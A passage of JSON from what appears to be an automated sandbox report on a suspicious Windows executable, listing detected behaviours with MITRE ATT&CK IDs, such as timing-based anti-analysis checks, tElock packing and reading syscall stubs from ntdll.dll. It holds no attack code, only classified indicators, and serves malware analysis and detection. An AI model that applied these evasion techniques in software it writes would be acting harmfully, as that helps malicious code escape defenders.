Awareness","name":"Able to retrieve information about the current system (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"7Lbfr54qnkOdJFfK1kt5kTqP.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00003940)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\" tE!\"\n \"7Lbfr54qnkOdJFfK1kt5kTqP.exe\" was detected as \"tElock v1.0 (private) -> tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"7Lbfr54qnkOdJFfK1kt5kTqP.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Loads syscall stubs from disk during runtime","description":"\"7Lbfr54qnkOdJFfK1kt5kTqP.exe\" trying to read a file \"C:\\Windows\\System32\\ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1027.007","relevance":3,"id":"api-298","sources":[{"report_type":"sandbox","report_id":"6a19267015c587b1e8009840"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Queries kernel debugger information","description":"\"